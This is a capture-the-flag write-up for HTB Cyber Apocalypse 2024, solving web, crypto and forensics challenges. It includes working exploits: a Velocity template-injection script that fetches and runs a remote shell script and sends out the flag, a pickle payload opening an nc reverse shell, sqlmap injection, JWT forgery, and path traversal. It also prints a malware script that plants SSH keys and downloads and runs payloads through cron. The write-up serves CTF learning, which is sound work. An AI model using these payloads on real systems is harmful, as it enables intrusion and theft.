HTB Cyber Apocalypse 2024: Hacker Royale Writeup


Flag Command - Web

Solving Scenario:
On the web, there are three JavaScript files:

  • command.js
  • main.js
  • game.js

Focus on the CheckMessage() function in the main.js file, which is responsible for making a POST request to the /api/monitor endpoint with the request body containing “command”. Additionally, there is an if condition availableOptions[“secret”] that retrieves the value from the secret:

async function CheckMessage() {
  fetchingResponse = true;
  currentCommand = commandHistory[commandHistory.length - 1];

  if (
    availableOptions[currentStep].includes(currentCommand) ||
    availableOptions["secret"].includes(currentCommand)
  ) {
    await fetch("/api/monitor", {
      method: "POST",
      headers: {
        "Content-Type": "application/json",
      },
      body: JSON.stringify({ command: currentCommand }),
    })
      .then((res) => res.json())
      .then(async (data) => {
        console.log(data);
        await displayLineInTerminal({ text: data.message });

        if (data.message.includes("Game over")) {
          playerLost();
          fetchingResponse = false;
          return;
        }

        if (data.message.includes("HTB{")) {
          playerWon();
          fetchingResponse = false;

          return;
        }

        if (currentCommand == "HEAD NORTH") {
          currentStep = "2";
        } else if (currentCommand == "FOLLOW A MYSTERIOUS PATH") {
          currentStep = "3";
        } else if (currentCommand == "SET UP CAMP") {
          currentStep = "4";
        }

        let lineBreak = document.createElement("br");

        beforeDiv.parentNode.insertBefore(lineBreak, beforeDiv);
        displayLineInTerminal({
          text: '<span class="command">You have 4 options!</span>',
        });
        displayLinesInTerminal({ lines: availableOptions[currentStep] });
        fetchingResponse = false;
      });
  } else {
    displayLineInTerminal({
      text: "You do realise its not a park where you can just play around and move around pick from options how are hard it is for you????",
    });
    fetchingResponse = false;
  }
}

Check the script at the bottom of main.js, where there is a GET request to the /api/options endpoint, which is then stored in the variable availableOptions. This endpoint serves to list available commands, including the secret value.

const fetchOptions = () => {
  fetch("/api/options")
    .then((data) => data.json())
    .then((res) => {
      availableOptions = res.allPossibleCommands;
    })
    .catch(() => {
      availableOptions = undefined;
    });
};

Here is the list of available commands, including the secret:

Flag Command

Getting the flag with the secret command “Blip-blop, in a pickle with a hiccup! Shmiggity-shmack”:

Flag Command

Flag: HTB{D3v3l0p3r_t00l5_4r3_b35t_wh4t_y0u_Th1nk??!}

================================================================================================

KORP Terminal - Web

Solving Scenario:
Trigger the login page error by sending ‘a# as the username. The response should display an SQL error indicating vulnerability to SQL Injection.

KORP Terminal

Exploit using SQLmap with the input file containing the above POST request. Command: “sqlmap -r login.txt —dbs —ignore-code 401”.

Database:

KORP Terminal

Tables korp_terminal:

KORP Terminal

Dump table users:

KORP Terminal

Cracking admin hash:

KORP Terminal

Login with credentials admin:password123 and retrieve the flag:

KORP Terminal

Flag: HTB{t3rm1n4l_cr4ck1ng_sh3n4nig4n5}

================================================================================================

TimeKORP - Web

Solving Scenario:
Upon analyzing the source code, it is found that the TimeModel.php model is vulnerable to PHP Command Injection because it uses the exec() function constructed from user input (TimeController.php) with the “format” parameter.

TimeModel.php:

<?php
class TimeModel
{
    public function __construct($format)
    {
        $this->command = "date '+" . $format . "' 2>&1";
    }

    public function getTime()
    {
        $time = exec($this->command);
        $res  = isset($time) ? $time : '?';
        return $res;
    }
}

TimeController.php:

<?php
class TimeController
{
    public function index($router)
    {
        $format = isset($_GET['format']) ? $_GET['format'] : '%H:%M:%S';
        $time = new TimeModel($format);
        return $router->view('index', ['time' => $time->getTime()]);
    }
}

Validation of vulnerability:

TimeKORP

Read the flag at /flag as per the Dockerfile:

TimeKORP

Flag: HTB{t1m3_f0r_th3_ult1m4t3_pwn4g3}

================================================================================================

Labyrinth Linguist - Web

Solving Scenario:
Upon analyzing the source code, it is observed that in Main.java, the request parameter “text” will be stored in textString, and then this textString will be loaded into index.html using the Velocity template:

	@RequestMapping("/")
	@ResponseBody
	String index(@RequestParam(required = false, name = "text") String textString) {
		if (textString == null) {
			textString = "Example text";
		}

		String template = "";

        try {
            template = readFileToString("/app/src/main/resources/templates/index.html", textString);
        } catch (IOException e) {
            e.printStackTrace();
        }

		RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
		StringReader reader = new StringReader(template);

		org.apache.velocity.Template t = new org.apache.velocity.Template();
		t.setRuntimeServices(runtimeServices);
		try {

			t.setData(runtimeServices.parse(reader, "home"));
			t.initDocument();
			VelocityContext context = new VelocityContext();
			context.put("name", "World");

			StringWriter writer = new StringWriter();
			t.merge(context, writer);
			template = writer.toString();

		} catch (ParseException e) {
			e.printStackTrace();
		}

		return template;
	}

The readFileToString function will replace “TEXT” in the index.html file and render textString:

	public static String readFileToString(String filePath, String replacement) throws IOException {
        StringBuilder content = new StringBuilder();
        BufferedReader bufferedReader = null;

        try {
            bufferedReader = new BufferedReader(new FileReader(filePath));
            String line;

            while ((line = bufferedReader.readLine()) != null) {
                line = line.replace("TEXT", replacement);
                content.append(line);
                content.append("\n");
            }
        } finally {
            if (bufferedReader != null) {
                try {
                    bufferedReader.close();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
        }

        return content.toString();
    }

The source code analysis is vulnerable to Server-Side Template Injection (SSTI) in Velocity:

Here is the exploit I used:

import requests
from urllib.parse import *

URL = "http://83.136.254.223:48094/"

class Exploit:
	def __init__(self, url=URL):
		self.url = url

	def exp(self):
		payload = """
		#set($s=\"\")
		#set($stringClass=$s.getClass())
		#set($runtime=$stringClass.forName(\"java.lang.Runtime\").getRuntime())
		#set($process=$runtime.exec(\"curl -O https://faf0-182-253-54-11.ngrok-free.app/banua.sh\"))
		#set($process=$runtime.exec(\"chmod +x banua.sh\"))
		#set($process=$runtime.exec(\"sh banua.sh\"))
		#set($null=$process.waitFor() )
		"""
		data = {"text": payload}
		res = requests.post(self.url, data=data)

		return res

if __name__ == "__main__":
	run = Exploit()
	print(run.exp())

Content of the banua.sh file:

cat /flag* > /tmp/flag.txt && curl -d @/tmp/flag.txt https://webhook.site/e361f2f5-cc9c-45e5-959e-40639c22efab

Run the exploit. If the request does not go through, try running it again:

Labyrinth Linguist

Flag: HTB{f13ry_t3mpl4t35_fr0m_th3_d3pth5!!}

================================================================================================

Testimonial - Web

Solving Scenario:
Source code analysis reveals that the vulnerable code is in the grpc.go file, specifically in the os.WriteFile function with the filename “customer” and the file content being “testimonial”.

grpc.go file:

func (s *server) SubmitTestimonial(ctx context.Context, req *pb.TestimonialSubmission) (*pb.GenericReply, error) {
	if req.Customer == "" {
		return nil, errors.New("Name is required")
	}
	if req.Testimonial == "" {
		return nil, errors.New("Content is required")
	}

	err := os.WriteFile(fmt.Sprintf("public/testimonials/%s", req.Customer), []byte(req.Testimonial), 0644)
	if err != nil {
		return nil, err
	}

	return &pb.GenericReply{Message: "Testimonial submitted successfully"}, nil
}

home.go file handles the submission process when a customer submits a testimonial.

package handler

import (
	"htbchal/client"
	"htbchal/view/home"
	"net/http"
)

func HandleHomeIndex(w http.ResponseWriter, r *http.Request) error {
	customer := r.URL.Query().Get("customer")
	testimonial := r.URL.Query().Get("testimonial")
	if customer != "" && testimonial != "" {
		c, err := client.GetClient()
		if err != nil {
			http.Error(w, err.Error(), http.StatusInternalServerError)

		}

		if err := c.SendTestimonial(customer, testimonial); err != nil {
			http.Error(w, err.Error(), http.StatusInternalServerError)

		}
	}
	return home.Index().Render(r.Context(), w)
}

The testimonial submission request process uses the sendTestimonial function found in the client.go file with the code below. In the sendTestimonial function, there is a blacklist of characters to prevent Path Traversal when submitting a testimonial.

client.go file:

func (c *Client) SendTestimonial(customer, testimonial string) error {
	ctx := context.Background()
	// Filter bad characters.
	for _, char := range []string{ "/", "\\", ":", "*", "?", "\"", "<", ">", "|", "."} {
		customer = strings.ReplaceAll(customer, char, "")
	}

	_, err := c.SubmitTestimonial(ctx, &pb.TestimonialSubmission{Customer: customer, Testimonial: testimonial})
	return err
}

Flow to obtain the flag:

  1. Path Traversal Overwrite File /view/home/index.templ
  2. Access the View index.templ

Exploit by directly calling the SubmitTestimonial method via gRPC to bypass the Path Traversal filter in the SendTestimonial function. Slightly modify the index.templ file to be used for overwriting /view/home/index.templ.

The modified index.templ file will overwrite and read the flag, which is located at ”/” (entrypoint.sh file):

func GetTestimonials() []string {
	fsys := os.DirFS("/")
	files, err := fs.ReadDir(fsys, ".")
	if err != nil {
		return []string{fmt.Sprintf("Error reading testimonials: %v", err)}
	}
	var res []string
	for _, file := range files {
		fileContent, _ := fs.ReadFile(fsys, file.Name())
		res = append(res, string(fileContent))
	}
	return res
}

Here is the solver:

package main

import (
	"context"
	"fmt"
	"log"
	"io/ioutil"

	"google.golang.org/grpc"
	"htbchal/pb"
)

func main() {
	testimonialData, err := ioutil.ReadFile("index.templ")
	if err != nil {
		log.Fatalf("failed to read file: %v", err)
	}

	conn, err := grpc.Dial("83.136.252.96:51204", grpc.WithInsecure())
	if err != nil {
		log.Fatalf("did not connect: %v", err)
	}
	defer conn.Close()
	c := pb.NewRickyServiceClient(conn)

	// Call SubmitTestimonial method.
	reply, err := c.SubmitTestimonial(context.Background(), &pb.TestimonialSubmission{
		Customer:    "../../view/home/index.templ",
		Testimonial: string(testimonialData),
	})
	if err != nil {
		log.Fatalf("could not submit: %v", err)
	}
	fmt.Println("Server Response:", reply.Message)
}

Save the solver file inside the challenge source code folder so that the pb library can be imported. Run with the command “go run call.go”. Refresh the web page, and the flag will be obtained.

Testimonial

Flag: HTB{w34kly_t35t3d_t3mplate5}

================================================================================================

LockTalk - Web

Solving Scenario:
Source code analysis reveals that the requirements.txt file uses the python_jwt library version 3.3.3, which is vulnerable to CVE-2022-39227.

In the haproxy.cfg config file, there is access protection to the /api/v1/get_ticket endpoint:

frontend haproxy
    bind 0.0.0.0:1337
    default_backend backend

    http-request deny if { path_beg,url_dec -i /api/v1/get_ticket }

In the routes.py API file, the flag can be obtained with GET requests to the /api/v1/flag endpoint. However, a JWT with an administrator role is required:

@api_blueprint.route('/flag', methods=['GET'])
@authorize_roles(['administrator'])
def flag():
    return jsonify({'message': current_app.config.get('FLAG')}), 200

To obtain the JWT token, you need to make GET requests to the /api/v1/get_ticket endpoint, and you will receive a JWT token with a payload role as a guest:

@api_blueprint.route('/get_ticket', methods=['GET'])
def get_ticket():

    claims = {
        "role": "guest",
        "user": "guest_user"
    }

    token = jwt.generate_jwt(claims, current_app.config.get('JWT_SECRET_KEY'), 'PS256', datetime.timedelta(minutes=60))
    return jsonify({'ticket: ': token})

The exploitation flow to obtain the flag is as follows:

  1. Generate a JWT Token with access to /api/v1/get_ticket, bypassing haproxy with /api/v1/../v1/get_ticket
  2. JWT Token forgery with CVE-2022-39227 to change the role to administrator
  3. Access the /api/v1/flag endpoint

Here is the solver:

import requests
import json
import subprocess

URL = "http://94.237.57.155:36254"

class Exploit:
	def __init__(self, url=URL):
		self.url = url

	def generateToken(self):
		req = requests.get(self.url + "/api/v1/%2e%2e/v1/get_ticket")
		data = json.loads(req.text)

		return data["ticket: "]

	def tokenForge(self):
		exp = subprocess.check_output([f"python3 CVE-2022-39227/cve_2022_39227.py -j {self.generateToken()} -i 'role=administrator'"],shell=True).decode()
		data = exp.split("\n\n")[1].split("\n")[1]

		return data

	def getFlag(self):
		flag = subprocess.check_output([f"curl -s -XGET {self.url}/api/v1/flag -H 'Authorization: {str(self.tokenForge())}'"],shell=True)

		return json.loads(flag.decode())


if __name__ == "__main__":
	run = Exploit()
	print(run.getFlag())

Flag: HTB{h4Pr0Xy_n3v3r_D1s@pp01n4s}

================================================================================================

SerialFlow - Web

Solving Scenario:
In the app.py file, it is known that app.config utilizes session memcached with the pylibmc library:

app.config["SESSION_TYPE"] = "memcached"
app.config["SESSION_MEMCACHED"] = pylibmc.Client(["127.0.0.1:11211"])
app.config.from_object(__name__)

When making a request to the web, the first process that runs is setting the session:

@app.before_request
def before_request():
    if session.get("session") and len(session["session"]) > 86:
        session["session"] = session["session"][:86]

There is only one endpoint “/set” on the web which functions to set session[“uicolor”].

@app.route("/set")
def set():
    uicolor = request.args.get("uicolor")

    if uicolor:
        session["uicolor"] = uicolor

    return redirect("/")

Interestingly, because the Flask web app uses pylibmc memcached, after browsing, an article D4D blog was found discussing the exploitation of pylibmc memcached and its vulnerable to Command Injection.

Previously, an attempt was made to inject payload into session[“uicolor”], but it failed because it was not vulnerable to CRLF.

After re-analyzing the source code, it was discovered that we can inject payloads directly into the session, but they are limited to 86 characters in length.

Let’s proceed to exploit it by performing a reverse shell:

Solver:

import pickle
import os
import requests

URL = "http://83.136.253.251:31432/"

class RCE:
    def __reduce__(self):
        cmd = ('nc 0.tcp.ap.ngrok.io 13906 -e /bin/sh')
        return os.system, (cmd,)

class Exploit():
    def __init__(self, url=URL):
        self.url = url

    def generate_exploit(self):
        payload = pickle.dumps(RCE(), 0)
        payload_size = len(payload)
        cookie = b'137\r\nset session:10 0 2592000 '
        cookie += str.encode(str(payload_size))
        cookie += str.encode('\r\n')
        cookie += payload
        cookie += str.encode('\r\n')
        cookie += str.encode('get session:10')

        pack = ''
        for x in list(cookie):
            if x > 64:
                pack += oct(x).replace("0o","\\")
            elif x < 8:
                pack += oct(x).replace("0o","\\00")
            else:
                pack += oct(x).replace("0o","\\0")

        return f"\"{pack}\""

    def exploit(self):
        cookie = {"session": self.generate_exploit()}
        req = requests.get(self.url, cookies=cookie)
        req = requests.get(self.url, cookies=cookie)

        return req.status_code

if __name__ == "__main__":
    run = Exploit()
    print(run.exploit())

SerialFlow

Flag: HTB{y0u_th0ught_th15_wou1d_b3_s1mpl3?}

Dynastic - Crypto

Solving Scenario:
output.txt (ciphertext) file:

Make sure you wrap the decrypted text with the HTB flag format :-]
DJF_CTA_SWYH_NPDKK_MBZ_QPHTIGPMZY_KRZSQE?!_ZL_CN_PGLIMCU_YU_KJODME_RYGZXL

source.py file:

from secret import FLAG
from random import randint

def to_identity_map(a):
    return ord(a) - 0x41

def from_identity_map(a):
    return chr(a % 26 + 0x41)

def encrypt(m):
    c = ''
    for i in range(len(m)):
        ch = m[i]
        if not ch.isalpha():
            ech = ch
        else:
            chi = to_identity_map(ch)
            ech = from_identity_map(chi + i)
        c += ech
    return c

with open('output.txt', 'w') as f:
    f.write('Make sure you wrap the decrypted text with the HTB flag format :-]\n')
    f.write(encrypt(FLAG))

Based on the given source.py file, the encryption process for the plaintext is as follows:

  1. Filter Non-Alphabet (remain)
  2. The to_identity_map function: Each character is converted to its Unicode code (ord) and then subtracted by 65 (0x41)
  3. The from_identity_map function: The result of the second step is then taken modulo 26, then added by 65 (0x41), and further added with the character’s index, and finally converted back to Unicode character/string

To decrypt the ciphertext:

  1. Filter Non-Alphabet (remain)
  2. The to_identity_map function: Retrieve the Unicode code (ord) of each ciphertext alphabet and then add 65 (0x41)
  3. The from_identity_map function: The result of the second step is then taken modulo 26, subtracted by 65 (0x41), and subtracted by the character’s index, then converted back to Unicode character/string

Solver:

def to_identity_map(a):
    return ord(a) + 0x41

def from_identity_map(a):
    return chr(a % 26 + 0x41)

def encrypt(m):
    c = ''
    for i in range(len(m)):
        ch = m[i]
        if not ch.isalpha():
            ech = ch
        else:
            chi = to_identity_map(ch)
            ech = from_identity_map(chi + i)
        c += ech
    return c

def decrypt(m):
    c = ""
    for i in range(len(m)):
        ch = m[i]
        if not ch.isalpha():
            ech = ch
        else:
            chi = to_identity_map(ch)
            ech = from_identity_map(chi - i)
        c += ech
    return c

flag = "DJF_CTA_SWYH_NPDKK_MBZ_QPHTIGPMZY_KRZSQE?!_ZL_CN_PGLIMCU_YU_KJODME_RYGZXL"
print("HTB{"+decrypt(flag)+"}")

Flag: HTB{DID_YOU_KNOW_ABOUT_THE_TRITHEMIUS_CIPHER?!_IT_IS_SIMILAR_TO_CAESAR_CIPHER}

================================================================================================

Makeshift - Crypto

Solving Scenario:
output.txt (ciphertext) file:

!?}De!e3d_5n_nipaOw_3eTR3bt4{_THB

source.py file:

from secret import FLAG

flag = FLAG[::-1]
new_flag = ''

for i in range(0, len(flag), 3):
    new_flag += flag[i+1]
    new_flag += flag[i+2]
    new_flag += flag[i]

print(new_flag)

Based on the encryption file (source.py), the encryption performed is just shuffling the characters of the plain text flag.

Solver:

FLAG = "!?}De!e3d_5n_nipaOw_3eTR3bt4{_THB"

flag = ""
for i in range(len(FLAG), -1, -3):
	print(FLAG[i])
	flag += FLAG[i-2]
	flag += FLAG[i-3]
	flag += FLAG[i-1]

print(flag)

Flag: HTB{4_b3tTeR_w3apOn_i5_n3edeD!?!}

================================================================================================

Primary Knowledge - Crypto

Solving Scenario:
output.txt (ciphertext) file:

n = 144595784022187052238125262458232959109987136704231245881870735843030914418780422519197073054193003090872912033596512666042758783502695953159051463566278382720140120749528617388336646147072604310690631290350467553484062369903150007357049541933018919332888376075574412714397536728967816658337874664379646535347
e = 65537
c = 15114190905253542247495696649766224943647565245575793033722173362381895081574269185793855569028304967185492350704248662115269163914175084627211079781200695659317523835901228170250632843476020488370822347715086086989906717932813405479321939826364601353394090531331666739056025477042690259429336665430591623215

source.py file:

import math
from Crypto.Util.number import getPrime, bytes_to_long
from secret import FLAG

m = bytes_to_long(FLAG)

n = math.prod([getPrime(1024) for _ in range(2**0)])
e = 0x10001
c = pow(m, e, n)

with open('output.txt', 'w') as f:
    f.write(f'{n = }\n')
    f.write(f'{e = }\n')
    f.write(f'{c = }\n')

From the encryption file (source.py) and the given ciphertext, it is known that the encryption process uses the standard RSA algorithm.

Solver:

from Crypto.Util.number import *
from sympy import *

n = 144595784022187052238125262458232959109987136704231245881870735843030914418780422519197073054193003090872912033596512666042758783502695953159051463566278382720140120749528617388336646147072604310690631290350467553484062369903150007357049541933018919332888376075574412714397536728967816658337874664379646535347
e = 65537
c = 15114190905253542247495696649766224943647565245575793033722173362381895081574269185793855569028304967185492350704248662115269163914175084627211079781200695659317523835901228170250632843476020488370822347715086086989906717932813405479321939826364601353394090531331666739056025477042690259429336665430591623215

phi = totient(n)
d = inverse(e, phi)
m = pow(c,d,n)
print(long_to_bytes(m))

Flag: HTB{0h_d4mn_4ny7h1ng_r41s3d_t0_0_1s_1!!!}

================================================================================================

It Has Begun - Forensics

Solving Scenario:
script.sh file:

#!/bin/sh

if [ "$HOSTNAME" != "KORP-STATION-013" ]; then
    exit
fi

if [ "$EUID" -ne 0 ]; then
    exit
fi

docker kill $(docker ps -q)
docker rm $(docker ps -a -q)

echo "ssh-rsa AAAAB4NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D7s4J0L7XV2kep0rNzgY1S1IdE8HDAf7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B user@tS_u0y_ll1w{BTH" >> /root/.ssh/authorized_keys
echo "nameserver 8.8.8.8" >> /etc/resolv.conf
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
echo "128.90.59.19 legions.korp.htb" >> /etc/hosts

for filename in /proc/*; do
    ex=$(ls -latrh $filename 2> /dev/null|grep exe)
    if echo $ex |grep -q "/var/lib/postgresql/data/postgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew"; then
        result=$(echo "$filename" | sed "s/\/proc\///")
        kill -9 $result
        echo found $filename $result
    fi
done

ARCH=$(uname -m)
array=("x86" "x86_64" "mips" "aarch64" "arm")

if [[ $(echo ${array[@]} | grep -o "$ARCH" | wc -w) -eq 0 ]]; then
  exit
fi


cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d  || cd /; wget http://legions.korp.htb/0xda4.0xda4.$ARCH; chmod 777 0xda4.0xda4.$ARCH; ./0xda4.0xda4.$ARCH;
cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d  || cd /; tftp legions.korp.htb -c get 0xda4.0xda4.$ARCH; cat 0xda4.0xda4.$ARCH > DVRHelper; chmod +x *; ./DVRHelper $ARCH;
cd /tmp || cd /var/ || cd /mnt || cd /root || cd etc/init.d  || cd /; busybox wget http://legions.korp.htb/0xda4.0xda4.$ARCH; chmod 777;./0xda4.0xda4.$ARCH;
echo "*/5 * * * * root curl -s http://legions.korp.htb/0xda4.0xda4.$ARCH | bash -c 'NG5kX3kwdVJfR3IwdU5kISF9' " >> /etc/crontab

Analisa file script.sh tersebut, diketahui flag ada pada ssh authorized_keys serta base64 dari crontab

.....SNIP.....
echo "ssh-rsa AAAAB4NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D7s4J0L7XV2kep0rNzgY1S1IdE8HDAf7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B user@tS_u0y_ll1w{BTH" >> /root/.ssh/authorized_keys

.....SNIP.....
echo "*/5 * * * * root curl -s http://legions.korp.htb/0xda4.0xda4.$ARCH | bash -c 'NG5kX3kwdVJfR3IwdU5kISF9' " >> /etc/crontab

Solver:

echo "user@tS_u0y_ll1w{BTH" | rev && echo "NG5kX3kwdVJfR3IwdU5kISF9" | base64 -d

Flag: HTB{w1ll_y0u_St@resu4nd_y0uR_Gr0uNd!!}

================================================================================================

Urgent - Forensics

Solving Scenario:
Urgent Faction Recruitment Opportunity - Join Forces Against KORP™ Tyranny.eml file:

X-Pm-Content-Encryption: end-to-end
X-Pm-Origin: internal
Subject: =?utf-8?Q?Urgent:_Faction_Recruitment_Opportunity_-_Join_Forces_Against_KORP=E2=84=A2_Tyranny!?=
From: anonmember1337 <anonmember1337@protonmail.com>
Date: Thu, 29 Feb 2024 12:52:17 +0000
Mime-Version: 1.0
Content-Type: multipart/mixed;boundary=---------------------2de0b0287d83378ead36e06aee64e4e5
To: factiongroups@gmail.com <factiongroups@gmail.com>
X-Attached: onlineform.html
Message-Id: <XVhH1Dg0VTGbfCjiZoHYDfUEfYdR0B0ppVem4t3oCwj6W21bavORQROAiXy84P6MKLpUKJmWRPw5C529AMwxhNiJ-8rfYzkdLjazI5feIQo=@protonmail.com>
X-Pm-Scheduled-Sent-Original-Time: Thu, 29 Feb 2024 12:52:05 +0000
X-Pm-Recipient-Authentication: factiongroups%40gmail.com=none
X-Pm-Recipient-Encryption: factiongroups%40gmail.com=none

-----------------------2de0b0287d83378ead36e06aee64e4e5
Content-Type: multipart/related;boundary=---------------------f4c91d2d4b35eb7cfece5203a97c3399

-----------------------f4c91d2d4b35eb7cfece5203a97c3399
Content-Type: text/html;charset=utf-8
Content-Transfer-Encoding: base64

PGRpdiBzdHlsZT0iZm9udC1mYW1pbHk6IEFyaWFsLCBzYW5zLXNlcmlmOyBmb250LXNpemU6IDE0
cHg7Ij48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IE1vbmFjbywgTWVubG8sIENvbnNvbGFzLCAm
cXVvdDtDb3VyaWVyIE5ldyZxdW90OywgbW9ub3NwYWNlOyBmb250LXNpemU6IDEycHg7IGZvbnQt
dmFyaWFudC1saWdhdHVyZXM6IG5vbmU7IHRleHQtYWxpZ246IGxlZnQ7IHdoaXRlLXNwYWNlOiBw
cmUtd3JhcDsgZGlzcGxheTogaW5saW5lICFpbXBvcnRhbnQ7IGNvbG9yOiByZ2IoMjA5LCAyMTAs
IDIxMSk7IGJhY2tncm91bmQtY29sb3I6IHJnYmEoMjMyLCAyMzIsIDIzMiwgMC4wNCk7Ij5EZWFy
IEZlbGxvdyBGYWN0aW9uIExlYWRlciwKCkkgaG9wZSB0aGlzIG1lc3NhZ2UgcmVhY2hlcyB5b3Ug
aW4gZ29vZCBzdGVhZCBhbWlkc3QgdGhlIGNoYW9zIG9mIFRoZSBGcmF5LiBJIHdyaXRlIHRvIHlv
dSB3aXRoIGFuIG9mZmVyIG9mIGFsbGlhbmNlIGFuZCByZXNpc3RhbmNlIGFnYWluc3QgdGhlIG9w
cHJlc3NpdmUgcmVnaW1lIG9mIEtPUlDihKIuCgpJdCBoYXMgY29tZSB0byBteSBhdHRlbnRpb24g
dGhhdCBLT1JQ4oSiLCB1bmRlciB0aGUgZ3Vpc2Ugb2YgZmFjaWxpdGF0aW5nIFRoZSBGcmF5LCBz
ZWVrcyB0byBtYWludGFpbiBpdHMgc3RyYW5nbGVob2xkIG92ZXIgb3VyIHNvY2lldHkuIFRoZXkg
bWFuaXB1bGF0ZSBhbmQgZXhwbG9pdCBmYWN0aW9ucyBmb3IgdGhlaXIgb3duIGdhaW4sIHdoaWxl
IHN1cHByZXNzaW5nIGRpc3NlbnQgYW5kIGlubm92YXRpb24uCgpCdXQgd2UgcmVmdXNlIHRvIGJl
IHBhd25zIGluIHRoZWlyIGdhbWUgYW55IGxvbmdlci4gV2UgYXJlIGFzc2VtYmxpbmcgYSBjb2Fs
aXRpb24gb2YgbGlrZS1taW5kZWQgZmFjdGlvbnMsIHVuaXRlZCBpbiBvdXIgZGVzaXJlIHRvIGNo
YWxsZW5nZSBLT1JQ4oSiJ3MgZG9taW5hbmNlIGFuZCB1c2hlciBpbiBhIG5ldyBlcmEgb2YgZnJl
ZWRvbSBhbmQgZXF1YWxpdHkuCgpZb3VyIGZhY3Rpb24gaGFzIGJlZW4gc3BlY2lmaWNhbGx5IGNo
b3NlbiBmb3IgaXRzIHBvdGVudGlhbCB0byBjb250cmlidXRlIHRvIG91ciBjYXVzZS4gVG9nZXRo
ZXIsIHdlIHBvc3Nlc3MgdGhlIHNraWxscywgcmVzb3VyY2VzLCBhbmQgZGV0ZXJtaW5hdGlvbiB0
byBkZWZ5IEtPUlDihKIncyB0eXJhbm55IGFuZCBlbWVyZ2UgdmljdG9yaW91cy4KCkpvaW4gdXMg
aW4gc29saWRhcml0eSBhZ2FpbnN0IG91ciBjb21tb24gb3BwcmVzc29yLiBUb2dldGhlciwgd2Ug
Y2FuIGRpc21hbnRsZSB0aGUgc3RydWN0dXJlcyBvZiBwb3dlciB0aGF0IHNlZWsgdG8gY29udHJv
bCB1cyBhbmQgcGF2ZSB0aGUgd2F5IGZvciBhIGJyaWdodGVyIGZ1dHVyZS4KClJlcGx5IHRvIHRo
aXMgbWVzc2FnZSBpZiB5b3Ugc2hhcmUgb3VyIHZpc2lvbiBhbmQgYXJlIHdpbGxpbmcgdG8gdGFr
ZSBhIHN0YW5kIGFnYWluc3QgS09SUOKEoi4gVG9nZXRoZXIsIHdlIHdpbGwgYmUgdW5zdG9wcGFi
bGUuIFBsZWFzZSBmaW5kIG91ciBvbmxpbmUgZm9ybSBhdHRhY2hlZC4KCkluIHNvbGlkYXJpdHks
CgpBbm9ueW1vdXMgbWVtYmVyCkxlYWRlciBvZiB0aGUgUmVzaXN0YW5jZTwvc3Bhbj48YnI+PC9k
aXY+
-----------------------f4c91d2d4b35eb7cfece5203a97c3399--
-----------------------2de0b0287d83378ead36e06aee64e4e5
Content-Type: text/html; filename="onlineform.html"; name="onlineform.html"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="onlineform.html"; name="onlineform.html"

PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT48L3RpdGxlPg0KPGJvZHk+DQo8c2NyaXB0IGxhbmd1YWdl
PSJKYXZhU2NyaXB0IiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KZG9jdW1lbnQud3JpdGUodW5l
c2NhcGUoJyUzYyU2OCU3NCU2ZCU2YyUzZSUwZCUwYSUzYyU2OCU2NSU2MSU2NCUzZSUwZCUwYSUz
YyU3NCU2OSU3NCU2YyU2NSUzZSUyMCUzZSU1ZiUyMCUzYyUyZiU3NCU2OSU3NCU2YyU2NSUzZSUw
ZCUwYSUzYyU2MyU2NSU2ZSU3NCU2NSU3MiUzZSUzYyU2OCUzMSUzZSUzNCUzMCUzNCUyMCU0ZSU2
ZiU3NCUyMCU0NiU2ZiU3NSU2ZSU2NCUzYyUyZiU2OCUzMSUzZSUzYyUyZiU2MyU2NSU2ZSU3NCU2
NSU3MiUzZSUwZCUwYSUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU2YyU2MSU2ZSU2NyU3NSU2MSU2
NyU2NSUzZCUyMiU1NiU0MiU1MyU2MyU3MiU2OSU3MCU3NCUyMiUzZSUwZCUwYSU1MyU3NSU2MiUy
MCU3NyU2OSU2ZSU2NCU2ZiU3NyU1ZiU2ZiU2ZSU2YyU2ZiU2MSU2NCUwZCUwYSUwOSU2MyU2ZiU2
ZSU3MyU3NCUyMCU2OSU2ZCU3MCU2NSU3MiU3MyU2ZiU2ZSU2MSU3NCU2OSU2ZiU2ZSUyMCUzZCUy
MCUzMyUwZCUwYSUwOSU0MyU2ZiU2ZSU3MyU3NCUyMCU0OCU0OSU0NCU0NCU0NSU0ZSU1ZiU1NyU0
